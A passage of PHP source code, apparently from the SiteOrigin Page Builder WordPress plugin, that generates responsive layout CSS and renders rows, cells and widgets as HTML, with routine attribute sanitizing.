$settings['widget-mobile-margin-bottom'] ) ) { $panels_mobile_widget_mobile_margin = '0 0 ' . $settings[ 'widget-mobile-margin-bottom'] . 'px'; } if ( ! empty( $panels_mobile_widget_mobile_margin ) ) { $css->add_widget_css( $post_id, $ri, $ci, $wi, '', array( 'margin' => $panels_mobile_widget_mobile_margin . ( siteorigin_panels_setting( 'inline-styles' ) ? ' !important' : '' ), ), $panels_mobile_width, true ); } if ( SiteOrigin_Panels_Styles::single()->has_overlay( $widget['panels_info'] ) ) { $css->add_widget_css( $post_id, $ri, $ci, $wi, '', array( 'position' => 'relative', ) ); } } } if ( ! siteorigin_panels_setting( 'inline-styles' ) ) { if ( $ri != count( $layout_data ) - 1 || ! empty( $row['style']['bottom_margin'] ) || ! empty( $panels_margin_bottom_last_row ) ) { $css->add_row_css( $post_id, $ri, '', array( 'margin-bottom' => $panels_margin_bottom, ) ); } } $collapse_order = ! empty( $row['style']['collapse_order'] ) ? $row['style']['collapse_order'] : ( ! is_rtl() ? 'left-top' : 'right-top' ); // Let other themes and plugins change the row collapse point. $collapse_point = apply_filters( 'siteorigin_panels_css_row_collapse_point', '', $row, $ri, $panels_data ); if ( $settings['responsive'] && empty( $row['style']['collapse_behaviour'] ) ) { // The default collapse behaviour if ( $settings['tablet-layout'] && $cell_count >= 3 && $panels_tablet_width > $panels_mobile_width && empty( $collapse_point ) ) { // Tablet responsive css for the row $css->add_row_css( $post_id, $ri, array( '.panel-no-style', '.panel-has-style > .panel-row-style', ), array( '-ms-flex-wrap' => $collapse_order == 'left-top' ? 'wrap' : 'wrap-reverse', '-webkit-flex-wrap' => $collapse_order == 'left-top' ? 'wrap' : 'wrap-reverse', 'flex-wrap' => $collapse_order == 'left-top' ? 'wrap' : 'wrap-reverse', ), $panels_tablet_width . ':' . ( $panels_mobile_width + 1 ) ); $css->add_cell_css( $post_id, $ri, false, '', array( '-ms-flex' => '0 1 50%', '-webkit-flex' => '0 1 50%', 'flex' => '0 1 50%', 'margin-right' => '0', 'margin-bottom' => $panels_margin_bottom, ), $panels_tablet_width . ':' . ( $panels_mobile_width + 1 ) ); $remove_bottom_margin = ':nth-'; if ( $collapse_order == 'left-top' ) { $remove_bottom_margin .= 'last-child(' . ( count( $row['cells'] ) % 2 == 0 ? '-n+2' : '1' ) . ')'; } else { $remove_bottom_margin .= 'child(-n+2)'; } if ( ! empty( $gutter_parts[1] ) ) { // Tablet responsive css for cells $css->add_cell_css( $post_id, $ri, false, ':nth-child(even)', array( 'padding-left' => ( (float) $gutter_parts[1] / 2 . $gutter_parts[2] ), ), $panels_tablet_width . ':' . ( $panels_mobile_width + 1 ) ); $css->add_cell_css( $post_id, $ri, false, ':nth-child(odd)', array( 'padding-right' => ( (float) $gutter_parts[1] / 2 . $gutter_parts[2] ), ), $panels_tablet_width . ':' . ( $panels_mobile_width + 1 ) ); } } // Mobile Responsive $collapse_point = ! empty( $collapse_point ) ? $collapse_point : $panels_mobile_width; // Uses rows custom collapse point or sets mobile collapse point set on settings page. $css->add_row_css( $post_id, $ri, array( '.panel-no-style', '.panel-has-style > .panel-row-style', // When CSS override is enabled, a full width row has a special wrapper so need to account for that. $this->container['css_override'] && isset( $row['style']['row_stretch'] ) && $row['style']['row_stretch'] == 'full' ? ' .so-panels-full-wrapper' : '', ), array( '-webkit-flex-direction' => $collapse_order == 'left-top' ? 'column' : 'column-reverse', '-ms-flex-direction' => $collapse_order == 'left-top' ? 'column' : 'column-reverse', 'flex-direction' => $collapse_order == 'left-top' ? 'column' : 'column-reverse', ), $collapse_point ); // Uses rows custom collapse point or sets mobile collapse point set on settings page. $css->add_cell_css( $post_id, $ri, false, '', array( 'width' => '100%', 'margin-right' => 0, ), $collapse_point ); foreach ( $row['cells'] as $ci => $cell ) { if ( ( $collapse_order == 'left-top' && $ci != $cell_count - 1 ) || ( $collapse_order == 'right-top' && $ci !== 0 ) ) { $css->add_cell_css( $post_id, $ri, $ci, '', array( 'margin-bottom' => apply_filters( 'siteorigin_panels_css_cell_mobile_margin_bottom', $settings['mobile-cell-margin'] . 'px', $cell, $ci, $row, $ri, $panels_data, $post_id ), ), $collapse_point ); } } if ( $settings['tablet-layout'] && $panels_tablet_width > $collapse_point && ! empty( $row['style']['tablet_bottom_margin'] ) ) { $tablet_bottom_margin = $row['style']['tablet_bottom_margin']; if ( siteorigin_panels_setting( 'inline-styles' ) ) { $tablet_bottom_margin .= ' !important'; } $css->add_row_css( $post_id, $ri, '', array( 'margin-bottom' => $tablet_bottom_margin, ), "$panels_tablet_width:$collapse_point" ); } if ( $panels_mobile_margin_bottom != $panels_margin_bottom && ! empty( $panels_mobile_margin_bottom ) ) { $css->add_row_css( $post_id, $ri, '', array( 'margin-bottom' => $panels_mobile_margin_bottom, ), $collapse_point ); } } // End of responsive code } // Add the bottom margins. if ( ! siteorigin_panels_setting( 'inline-styles' ) ) { $css->add_widget_css( $post_id, false, false, false, '', array( 'margin-bottom' => apply_filters( 'siteorigin_panels_css_cell_margin_bottom', $settings['margin-bottom'] . 'px', false, false, $panels_data, $post_id ), ) ); $css->add_widget_css( $post_id, false, false, false, ':last-of-type', array( 'margin-bottom' => apply_filters( 'siteorigin_panels_css_cell_last_margin_bottom', '0px', false, false, $panels_data, $post_id ), ) ); } if ( $settings['responsive'] ) { $css->add_cell_css( $post_id, false, false, '', array( 'padding' => 0, ), $panels_mobile_width ); // Hide empty cells on mobile $css->add_row_css( $post_id, false, ' .panel-grid-cell-empty', array( 'display' => 'none', ), $panels_mobile_width ); // Hide empty cells on mobile $css->add_row_css( $post_id, false, ' .panel-grid-cell-mobile-last', array( 'margin-bottom' => '0px', ), $panels_mobile_width ); } // Do we need to remove the theme container on this page? if ( $this->container['css_override'] && $this->container['full_width'] && // Does this layout have full width layouts? ! defined( 'siteorigin_css_override' ) ) { // Prevent this CSS from being added again. define( 'siteorigin_css_override', true ); $css->add_css( esc_html( $this->container['selector'] ), array( 'max-width' => 'none', // Clear horizontal spacing from container to prevent any indents. 'padding-right' => '0', 'padding-left' => '0', 'margin-right' => '0', 'margin-left' => '0', ), 1920 ); $css->add_css( '.so-panels-full-wrapper, .panel-grid.panel-no-style, .panel-row-style:not([data-stretch-type])', array( 'max-width' => esc_attr( $this->container['width'] ), 'margin' => '0 auto', ), 1920 ); // Allow .so-panels-full-wrapper to handle columns correctly. $css->add_css( '.so-panels-full-wrapper', array( 'display' => 'flex', 'flex-wrap' => 'nowrap', 'justify-content' => 'space-between', 'align-items' => 'flex-start', 'width' => '100%', ), 1920 ); // Ensure cells inside of .so-panels-full-wrapper are full width when collapsed. $css->add_css( '.so-panels-full-wrapper .panel-grid-cell', array( 'width' => '100%', ), siteorigin_panels_setting( 'mobile-width' ) ); } // Let other plugins and components filter the CSS object. $css = apply_filters( 'siteorigin_panels_css_object', $css, $panels_data, $post_id, $layout_data ); return $css->get_css(); } /** * Render the panels. * * @param int|string|bool $post_id The Post ID or 'home'. * @param bool $enqueue_css Should we also enqueue the layout CSS. * @param array|bool $panels_data Existing panels data. By default load from settings or post meta. * @param array $layout_data Reformatted panels_data that includes data about the render. * * @return string */ public function render( $post_id = false, $enqueue_css = true, $panels_data = false, & $layout_data = array(), $is_preview = false ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); if ( class_exists( 'WooCommerce' ) && is_shop() ) { $post_id = wc_get_page_id( 'shop' ); } } global $siteorigin_panels_current_post; // If $panels_data is empty, and the current post being processed is the same as the last one, don't process it. if ( empty( $panels_data ) && ! empty( $siteorigin_panels_current_post ) && apply_filters( 'siteorigin_panels_renderer_current_post_check', true ) && $siteorigin_panels_current_post == $post_id ) { trigger_error( __( 'Prevented SiteOrigin layout from repeated rendering.', 'siteorigin-panels' ) ); return; } $old_current_post = $siteorigin_panels_current_post; $siteorigin_panels_current_post = $post_id; // Try get the cached panel from in memory cache. global $siteorigin_panels_cache; if ( ! empty( $siteorigin_panels_cache ) && ! empty( $siteorigin_panels_cache[ $post_id ] ) ) { return $siteorigin_panels_cache[ $post_id ]; } if ( empty( $panels_data ) ) { $panels_data = $this->get_panels_data_for_post( $post_id ); if ( $panels_data === false ) { return false; } } elseif ( is_string( $panels_data ) ) { // If $panels_data is a string, it's likely json, try decoding it. $panels_data = json_decode( $panels_data, true ); } $panels_data = apply_filters( 'siteorigin_panels_data', $panels_data, $post_id ); if ( empty( $panels_data ) || empty( $panels_data['grids'] ) ) { return ''; } if ( empty( $this->container ) ) { $this->container = SiteOrigin_Panels::container_settings(); } if ( $is_preview ) { $GLOBALS[ 'SITEORIGIN_PANELS_PREVIEW_RENDER' ] = true; } if ( empty( $layout_data ) ) { $layout_data = $this->get_panels_layout_data( $panels_data ); $layout_data = apply_filters( 'siteorigin_panels_layout_data', $layout_data, $post_id ); } ob_start(); // Add the panel layout wrapper $layout_classes = apply_filters( 'siteorigin_panels_layout_classes', array( 'panel-layout' ), $post_id, $panels_data ); if ( is_rtl() ) { $layout_classes[] = 'panel-is-rtl'; } $layout_attributes = apply_filters( 'siteorigin_panels_layout_attributes', array( 'id' => 'pl-' . $post_id, 'class' => implode( ' ', $layout_classes ), ), $post_id, $panels_data ); $this->render_element( 'div', $layout_attributes ); echo apply_filters( 'siteorigin_panels_before_content', '', $panels_data, $post_id ); foreach ( $layout_data as $ri => & $row ) { if ( apply_filters( 'siteorigin_panels_output_row', true, $row, $ri, $panels_data, $post_id ) ) { $this->render_row( $post_id, $ri, $row, $panels_data ); } } echo apply_filters( 'siteorigin_panels_after_content', '', $panels_data, $post_id ); echo '</div>'; do_action( 'siteorigin_panels_after_render', $panels_data, $post_id ); $html = ob_get_clean(); if ( $enqueue_css && ! isset( $this->inline_css[ $post_id ] ) ) { wp_enqueue_style( 'siteorigin-panels-front' ); $this->add_inline_css( $post_id, $this->generate_css( $post_id, $panels_data, $layout_data ) ); } // Reset the current post $siteorigin_panels_current_post = $old_current_post; $rendered_layout = apply_filters( 'siteorigin_panels_render', $html, $post_id, ! empty( $post ) ? $post : null ); if ( $is_preview ) { $widget_css = '@import url(' . esc_url( SiteOrigin_Panels::front_css_url() ) . '); '; $widget_css .= SiteOrigin_Panels::renderer()->generate_css( $post_id, $panels_data, $layout_data ); $widget_css = preg_replace( '/\s+/', ' ', $widget_css ); $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; $rendered_layout .= "\n\n" . "<style$type_attr class='panels-style' data-panels-style-for-post='" . esc_attr( $post_id ) . "'>" . $widget_css . '</style>'; } unset( $GLOBALS[ 'SITEORIGIN_PANELS_PREVIEW_RENDER' ] ); return $rendered_layout; } /** * Echo the style wrapper and return if there was a wrapper * * @param string $name The name of the style wrapper * @param array $style The style wrapper args. Used as an argument for siteorigin_panels_{$name}_style_attributes * @param string|bool $for An identifier of what this style wrapper is for * * @return bool Is there a style wrapper */ private function start_style_wrapper( $name, $style = array(), $for = false ) { $attributes = array(); if ( empty( $attributes['class'] ) ) { $attributes['class'] = array(); } if ( empty( $attributes['style'] ) ) { $attributes['style'] = ''; } // Check if Page Builder is set to output certain styles inline and if it is, do so. if ( siteorigin_panels_setting( 'inline-styles' ) ) { if ( ! empty( $style['padding'] ) ) { SiteOrigin_Panels_Styles::single()->full_width_stretched_legacy_padding( $style, 'padding' ); $attributes['style'] .= 'padding: ' . $style['padding'] . ';'; } if ( $name !== 'widget' && ! empty( $style['margin'] ) ) { $attributes['style'] .= 'margin: ' . $style['margin'] . ';'; } if ( ! empty( $style['border_color'] ) ) { $attributes['style'] .= 'border: ' . ( ! empty( $style['border_thickness'] ) ? $style['border_thickness'] : '1px' ) . ' solid ' . $style['border_color'] . ';'; } } // Get everything related to the style wrapper $attributes = apply_filters( 'siteorigin_panels_' . $name . '_style_attributes', $attributes, $style ); $attributes = apply_filters( 'siteorigin_panels_general_style_attributes', $attributes, $style ); $standard_css = array(); $standard_css = apply_filters( 'siteorigin_panels_' . $name . '_style_css', $standard_css, $style ); $standard_css = apply_filters( 'siteorigin_panels_general_style_css', $standard_css, $style ); $tablet_css = array(); $tablet_css = siteorigin_panels_setting( 'tablet-layout' ) ? apply_filters( 'siteorigin_panels_' . $name . '_style_tablet_css', $tablet_css, $style ) : ''; $tablet_css = apply_filters( 'siteorigin_panels_general_style_tablet_css', $tablet_css, $style ); $mobile_css = array(); $mobile_css = apply_filters( 'siteorigin_panels_' . $name . '_style_mobile_css', $mobile_css, $style ); $mobile_css = apply_filters( 'siteorigin_panels_general_style_mobile_css', $mobile_css, $style ); // Remove anything we didn't actually use if ( empty( $attributes['class'] ) ) { unset( $attributes['class'] ); } if ( empty( $attributes['style'] ) ) { unset( $attributes['style'] ); } $style_wrapper = ''; if ( ! empty( $attributes ) || ! empty( $standard_css ) || ! empty( $tablet_css ) || ! empty( $mobile_css ) ) { if ( empty( $attributes['class'] ) ) { $attributes['class'] = array(); } $attributes['class'][] = 'panel-' . $name . '-style'; if ( ! empty( $for ) ) { $attributes['class'][] = 'panel-' . $name . '-style-for-' . sanitize_html_class( $for ); } $attributes['class'] = array_unique( $attributes['class'] ); // Filter and sanitize the classes $attributes['class'] = apply_filters( 'siteorigin_panels_' . $name . '_style_classes', $attributes['class'], $attributes, $style ); $attributes['class'] = array_map( 'sanitize_html_class', $attributes['class'] ); $style_wrapper = '<div '; foreach ( $attributes as $name => $value ) { // Attributes start with _ are used for internal communication between filters, so are not added to the HTML // We don't make use of this in our styling, so its left as a mechanism for other plugins. if ( substr( $name, 0, 1 ) === '_' ) { continue; } if ( is_array( $value ) ) { $style_wrapper .= $this->sanitize_attribute_key( $name ) . '="' . esc_attr( implode( ' ', array_unique( $value ) ) ) . '" '; } else { $style_wrapper .= $this->sanitize_attribute_key( $name ) . '="' . esc_attr( $value ) . '" '; } } $style_wrapper .= '>'; return $style_wrapper; } return $style_wrapper; } /** * Render the widget. * * @param array $widget_info The widget info. * @param array $instance The widget instance * @param int $grid_index The grid index. * @param int $cell_index The cell index. * @param int $widget_index The index of this widget. * @param bool $is_first Is this the first widget in the cell. * @param bool $is_last Is this the last widget in the cell. * @param bool $post_id * @param string $style_wrapper The start of the style wrapper */ public function the_widget( $widget_info, $instance, $grid_index, $cell_index, $widget_index, $is_first, $is_last, $post_id = false, $style_wrapper = '' ) { // Set widget class to $widget $widget_class = $widget_info['class']; $widget_class = apply_filters( 'siteorigin_panels_widget_class', $widget_class ); // Load the widget from the widget factory and give themes and plugins a chance to provide their own $the_widget = SiteOrigin_Panels::get_widget_instance( $widget_class ); $the_widget = apply_filters( 'siteorigin_panels_widget_object', $the_widget, $widget_class, $instance ); // Allow other themes/plugins to override the instance. $instance = apply_filters( 'siteorigin_panels_widget_instance', $instance, $the_widget, $widget_class ); if ( empty( $post_id ) ) { $post_id = get_the_ID(); if ( class_exists( 'WooCommerce' ) && is_shop() ) { $post_id = wc_get_page_id( 'shop' ); } } $classes = array( 'so-panel' ); if ( siteorigin_panels_setting( 'add-widget-class' ) ) { $classes[] = 'widget'; } if ( ! empty( $the_widget ) && ! empty( $the_widget->id_base ) ) { $classes[] = 'widget_' . $the_widget->id_base; } if ( ! empty( $the_widget ) && is_array( $the_widget->widget_options ) && ! empty( $the_widget->widget_options['classname'] ) ) { $classes[] = $the_widget->widget_options['classname']; } if ( $is_first ) { $classes[] = 'panel-first-child'; } if ( $is_last ) { $classes[] = 'panel-last-child'; } if ( SiteOrigin_Panels_Styles::single()->has_overlay( $widget_info ) ) { $classes[] = 'panel-has-overlay'; } $id = 'panel-' . $post_id . '-' . $grid_index . '-' . $cell_index . '-' . $widget_index; // Filter and sanitize the classes $classes = apply_filters( 'siteorigin_panels_widget_classes', $classes, $widget_class, $instance, $widget_info ); $classes = explode( ' ', implode( ' ', $classes ) ); $classes = array_filter( $classes ); $classes = array_unique( $classes ); $classes = array_map( 'sanitize_html_class', $classes ); $title_html = siteorigin_panels_setting( 'title-html' ); if ( strpos( $title_html, '{{title}}' ) !== false ) { list( $before_title, $after_title ) = explode( '{{title}}', $title_html, 2 ); } else { $before_title = '<h3 class="widget-title">'; $after_title = '</h3>'; } // Attributes of the widget wrapper. $attributes = array( 'id' => $id, 'class' => implode( ' ', $classes ), 'data-index' => $widget_info['widget_index'], ); if ( siteorigin_panels_setting( 'inline-styles' ) ) { $attributes['style'] = ''; if ( ! empty( $widget_info['style']['margin'] ) ) { $attributes['style'] .= 'margin: ' . esc_attr( $widget_info['style']['margin'] ) . ';'; } if ( ! $is_last && empty( $widget_info['style']['margin'] ) ) { $widget_bottom_margin = apply_filters( 'siteorigin_panels_css_cell_margin_bottom', siteorigin_panels_setting( 'margin-bottom' ) . 'px', false, false, array(), $post_id ); if ( ! empty( $widget_bottom_margin ) && $widget_bottom_margin !== '0px' ) { $attributes['style'] .= 'margin-bottom: ' . $widget_bottom_margin; } } if ( empty( $attributes['style'] ) ) { unset( $attributes['style'] ); } } $attributes = apply_filters( 'siteorigin_panels_widget_attributes', $attributes, $widget_info ); $before_widget = '<div '; foreach ( $attributes as $k => $v ) { $before_widget .= $this->sanitize_attribute_key( $k ) . '="' . esc_attr( $v ) . '" '; } $before_widget .= '>'; $args = array( 'before_widget' => $before_widget, 'after_widget' => '</div>', 'before_title' => $before_title, 'after_title' => $after_title, 'widget_id' => 'widget-' . $grid_index . '-' . $cell_index . '-' . $widget_index, ); // Let other themes and plugins change the arguments that go to the widget class. $args = apply_filters( 'siteorigin_panels_widget_args', $args ); // If there is a style wrapper, add it. if ( ! empty( $style_wrapper ) ) { $args['before_widget'] = $args['before_widget'] . $style_wrapper; $args['after_widget'] = '</div>' . $args['after_widget']; } // This allows other themes and plugins to add HTML inside of the widget before and after the contents. $args['before_widget'] .= apply_filters( 'siteorigin_panels_inside_widget_before', '', $widget_info ); $args['after_widget'] = apply_filters( 'siteorigin_panels_inside_widget_after', '', $widget_info ) . $args['after_widget']; // This gives other plugins the chance to take over rendering of widgets $widget_html = apply_filters( 'siteorigin_panels_the_widget_html', '', $the_widget, $args, $instance ); if ( ! empty( $widget_html ) ) { echo $args['before_widget']; echo $widget_html; echo $args['after_widget']; } elseif ( ! empty( $the_widget ) && is_a( $the_widget, 'WP_Widget' ) ) { $the_widget->widget( $args, $instance ); } else { // This gives themes a chance to display some sort of placeholder for missing widgets echo apply_filters( 'siteorigin_panels_missing_widget', $args['before_widget'] . $args['after_widget'], $widget_class, $args, $instance ); } } /** * Print inline CSS in the header and footer. */ public function print_inline_css( $return_css = false ) { if ( ! empty( $this->inline_css ) ) { $the_css = ''; foreach ( $this->inline_css as $post_id => $css ) { if ( empty( $css ) ) { continue; } $the_css .= '/* Layout ' . esc_attr( $post_id ) . ' */ '; $the_css .= $css; } // Reset the inline CSS $this->inline_css = null; switch ( current_filter() ) { case 'wp_head': $css_id = 'head'; break; case 'wp_footer': $css_id = 'footer'; break; default: $css_id = sanitize_html_class( current_filter() ); break; } // Allow third party developers to change the inline styles or remove them completely. $the_css = apply_filters( 'siteorigin_panels_inline_styles', $the_css ); if ( ! empty( $the_css ) ) { if ( $return_css ) { ob_start(); } printf( '<style media="all" id="siteorigin-panels-layouts-%s">%s</style>', esc_attr( $css_id ), $the_css ); if ( $return_css ) { return ob_get_clean(); } } } } /** * Enqueue the required styles */ public function enqueue_styles() { // Register the style to support possible lazy loading wp_register_style( 'siteorigin-panels-front', esc_url( SiteOrigin_Panels::front_css_url() ), array(), SITEORIGIN_PANELS_VERSION ); } /** * Retrieve panels data for a post or a prebuilt layout or the home page layout. * * @param string $post_id * * @return array */ private function get_panels_data_for_post( $post_id ) { if ( SiteOrigin_Panels::is_live_editor() ) { if ( current_user_can( 'edit_post', $post_id ) && ! empty( $_POST['live_editor_panels_data'] ) && $_POST['live_editor_post_ID'] == $post_id ) { $panels_data = json_decode( wp_unslash( $_POST['live_editor_panels_data'] ), true ); if ( ! empty( $panels_data['widgets'] ) ) { $panels_data['widgets'] = SiteOrigin_Panels_Admin::single()->process_raw_widgets( $panels_data['widgets'] ); } } } elseif ( strpos( $post_id, 'prebuilt:' ) === 0 ) { list( $null, $prebuilt_id ) = explode( ':', $post_id, 2 ); $layouts = apply_filters( 'siteorigin_panels_prebuilt_layouts', array() ); $panels_data = ! empty( $layouts[ $prebuilt_id ] ) ? $layouts[ $prebuilt_id ] : array(); } elseif ( $post_id == 'home' ) { $page_id = get_option( 'page_on_front' ); if ( empty( $page_id ) ) { $page_id = get_option( 'siteorigin_panels_home_page_id' ); } $panels_data = ! empty( $page_id ) ? get_post_meta( $page_id, 'panels_data', true ) : null; if ( is_null( $panels_data ) ) { // Load the default layout $layouts = apply_filters( 'siteorigin_panels_prebuilt_layouts', array() ); $prebuilt_id = siteorigin_panels_setting( 'home-page-default' ) ? siteorigin_panels_setting( 'home-page-default' ) : 'home'; $panels_data = ! empty( $layouts[ $prebuilt_id ] ) ? $layouts[ $prebuilt_id ] : current( $layouts ); } } if ( ! empty( $post_id ) && empty( $panels_data ) ) { if ( post_password_required( $post_id ) ) { return false; } $panels_data = get_post_meta( $post_id, 'panels_data', true ); } return $panels_data; } /** * Transform flat panels data into a hierarchical structure. * * @param array $panels_data Flat panels data containing `grids`, `grid_cells`, and `widgets`. * * @return array Hierarchical structure of rows => cells => widgets. */ public function get_panels_layout_data( $panels_data ) { $layout_data = array(); foreach ( $panels_data['grids'] as $grid ) { $layout_data[] = array( 'style' => ! empty( $grid['style'] ) ? $grid['style'] : array(), 'ratio' => ! empty( $grid['ratio'] ) ? $grid['ratio'] : '', 'ratio_direction' => ! empty( $grid['ratio_direction'] ) ? $grid['ratio_direction'] : '', 'color_label' => ! empty( $grid['color_label'] ) ? $grid['color_label'] : '', 'label' => ! empty( $grid['label'] ) ? $grid['label'] : '', 'cells' => array(), ); } foreach ( $panels_data['grid_cells'] as $cell ) { $layout_data[ $cell['grid'] ]['cells'][] = array( 'widgets' => array(), 'style' => ! empty( $cell['style'] ) ? $cell['style'] : array(), 'weight' => (float) $cell['weight'], ); } foreach ( $panels_data['widgets'] as $i => $widget ) { $widget['panels_info']['widget_index'] = $i; $row_index = (int) $widget['panels_info']['grid']; $cell_index = (int) $widget['panels_info']['cell']; $layout_data[ $row_index ]['cells'][ $cell_index ]['widgets'][] = $widget; } return $layout_data; } /** * Outputs the given HTML tag with the given attributes. * * @param string $tag The HTML element to render. * @param array $attributes The attributes for the HTML element. */ private function render_element( $tag, $attributes ) { echo '<' . esc_html( $tag ); foreach ( $attributes as $name => $value ) { if ( $value ) { echo ' ' . $this->sanitize_attribute_key( $name ) . '="' . esc_attr( $value ) . '" '; } } echo '>'; } /** * Render everything for the given row, including: * - filters before and after row, * - row style wrapper, * - row element wrapper with attributes, * - child cells * * @param string $post_id The ID of the post containing this layout. * @param int $ri The index of this row. * @param array $row The model containing this row's data and child cells. * @param array $panels_data A copy of panels_data for filters. */ private function render_row( $post_id, $ri, & $row, & $panels_data ) { $row_style_wrapper = $this->start_style_wrapper( 'row', ! empty( $row['style'] ) ? $row['style'] : array(), $post_id . '-' . $ri ); $row_classes = array( 'panel-grid' ); $row_classes[] = ! empty( $row_style_wrapper ) ? 'panel-has-style' : 'panel-no-style'; if ( SiteOrigin_Panels_Styles::single()->has_overlay( $row ) ) { $row_classes[] = 'panel-has-overlay'; } $row_classes = apply_filters( 'siteorigin_panels_row_classes', $row_classes, $row ); $row_attributes = array( 'id' => 'pg-' . $post_id . '-' . $ri, 'class' => implode( ' ', $row_classes ), ); if ( siteorigin_panels_setting( 'inline-styles' ) ) { $panels_margin_bottom = apply_filters( 'siteorigin_panels_css_row_margin_bottom', siteorigin_panels_setting( 'margin-bottom' ) . 'px', $row, $ri, $panels_data, $post_id ); if ( ! empty( $row['style']['bottom_margin'] ) || $ri != count( $panels_data['grids'] ) - 1 || ! empty( siteorigin_panels_setting( 'margin-bottom-last-row' ) ) ) { $row_attributes['style'] = 'margin-bottom: ' . $panels_margin_bottom; } } $row_attributes = apply_filters( 'siteorigin_panels_row_attributes', $row_attributes, $row ); // This allows other themes and plugins to add html before the row echo apply_filters( 'siteorigin_panels_before_row', '', $row, $row_attributes ); $this->render_element( 'div', $row_attributes ); if ( ! empty( $row_style_wrapper ) ) { echo $row_style_wrapper; } if ( $this->container['css_override'] && isset( $row['style']['row_stretch'] ) && $row['style']['row_stretch'] == 'full' ) { $this->render_element( 'div', array( 'class' => 'so-panels-full-wrapper', ) ); } // This allows other themes and plugins to add HTML inside of the row before the row contents. echo apply_filters( 'siteorigin_panels_inside_row_before', '', $row ); if ( method_exists( $this, 'modify_row_cells' ) ) { // This gives other renderers a chance to change the cell order $row['cells'] = $cells = $this->modify_row_cells( $row['cells'], $row ); } foreach ( $row['cells'] as $ci => & $cell ) { $this->render_cell( $post_id, $ri, $ci, $cell, $row['cells'], $panels_data ); } // This allows other themes and plugins to add HTML inside of the row after the row contents. echo apply_filters( 'siteorigin_panels_inside_row_after', '', $row ); if ( $this->container['css_override'] && isset( $row['style']['row_stretch'] ) && $row['style']['row_stretch'] == 'full' ) { echo '</div>'; } // Close the style wrapper if ( ! empty( $row_style_wrapper ) ) { echo '</div>'; } echo '</div>'; // This allows other themes and plugins to add html after the row echo apply_filters( 'siteorigin_panels_after_row', '', $row, $row_attributes ); } /** * Render everything for the given cell, including: * - filters before and after cell, * - cell element wrapper with attributes, * - style wrapper, * - child widgets * * @param string $post_id The ID of the post containing this layout. * @param int $ri The index of this cell's parent row. * @param int $ci The index of this cell. * @param array $cell The model containing this cell's data and child widgets. * @param array $cells The array of cells containing this cell. * @param array $panels_data A copy of panels_data for filters */ private function render_cell( $post_id, $ri, $ci, & $cell, $cells, & $panels_data ) { $cell_classes = array( 'panel-grid-cell' ); if ( empty( $cell['widgets'] ) ) { $cell_classes[] = 'panel-grid-cell-empty'; } if ( $ci == count( $cells ) - 2 && count( $cells[ $ci + 1 ]['widgets'] ) == 0 ) { $cell_classes[] = 'panel-grid-cell-mobile-last'; } // Themes can add their own styles to cells $cell_classes = apply_filters( 'siteorigin_panels_cell_classes', $cell_classes, $cell ); if ( SiteOrigin_Panels_Styles::single()->has_overlay( $cell ) ) { $cell_classes[] = 'panel-has-overlay'; } // Legacy filter, use `siteorigin_panels_cell_classes` instead $cell_classes = apply_filters( 'siteorigin_panels_row_cell_classes', $cell_classes, $panels_data, $cell ); $cell_attributes = apply_filters( 'siteorigin_panels_cell_attributes', array( 'id' => 'pgc-' . $post_id . '-' . $ri . '-' . $ci, 'class' => implode( ' ', $cell_classes ), ), $cell ); // Legacy filter, use `siteorigin_panels_cell_attributes` instead $cell_attributes = apply_filters( 'siteorigin_panels_row_cell_attributes', $cell_attributes, $panels_data, $cell ); echo apply_filters( 'siteorigin_panels_before_cell', '', $cell, $cell_attributes ); $this->render_element( 'div', $cell_attributes ); $grid = $panels_data['grids'][ $ri ]; if ( empty( $cell['style']['class'] ) && ! empty( $grid['style']['cell_class'] ) ) { $cell['style']['class'] = $grid['style']['cell_class']; } $cell_style = ! empty( $cell['style'] ) ? $cell['style'] : array(); $cell_style_wrapper = $this->start_style_wrapper( 'cell', $cell_style, $post_id . '-' . $ri . '-' . $ci ); if ( ! empty( $cell_style_wrapper ) ) { echo $cell_style_wrapper; } // This allows other themes and plugins to add HTML inside of the cell before its contents. echo apply_filters( 'siteorigin_panels_inside_cell_before', '', $cell ); foreach ( $cell['widgets'] as $wi => & $widget ) { $is_last = ( $wi == count( $cell['widgets'] ) - 1 ); if ( apply_filters( 'siteorigin_panels_output_widget', true, $widget, $ri, $ci, $wi, $panels_data, $post_id ) ) { $this->render_widget( $post_id, $ri, $ci, $wi, $widget, $is_last ); } } // This allows other themes and plugins to add HTML inside of the cell after its contents. echo apply_filters( 'siteorigin_panels_inside_cell_after', '', $cell ); if ( ! empty( $cell_style_wrapper ) ) { echo '</div>'; } echo '</div>'; echo apply_filters( 'siteorigin_panels_after_cell', '', $cell, $cell_attributes ); } /** * Gets the style wrapper for this widget and passes it through to `the_widget` along with other required parameters. * * @param string $post_id The ID of the post containing this layout. * @param int $ri The index of this widget's ancestor row. * @param int $ci The index of this widget's parent cell. * @param int $wi The index of this widget. * @param array $widget The model containing this widget's data. * @param bool $is_last Whether this is the last widget in the parent cell. */ private function render_widget( $post_id, $ri, $ci, $wi, & $widget, $is_last ) { $widget_style_wrapper = $this->start_style_wrapper( 'widget', ! empty( $widget['panels_info']['style'] ) ? $widget['panels_info']['style'] : array(), $post_id . '-' . $ri . '-' . $ci . '-' . $wi ); $this->the_widget( $widget['panels_info'], $widget, $ri, $ci, $wi, $wi == 0, $is_last, $post_id, $widget_style_wrapper ); } public function front_css_url() { return siteorigin_panels_url( 'css/front-flex' . SITEORIGIN_PANELS_CSS_SUFFIX . '.css' ); } function sanitize_attribute_key( $attr = null ) { if ( empty( $attr ) ) { return 'invalid-attribute'; } $attr = sanitize_key( strtolower( $attr ) ); // "On" prefixed attributes are too risky to allow. if ( empty( $attr ) || strpos( $attr, 'on' ) === 0 ) { return 'invalid-attribute'; }; return $attr; } }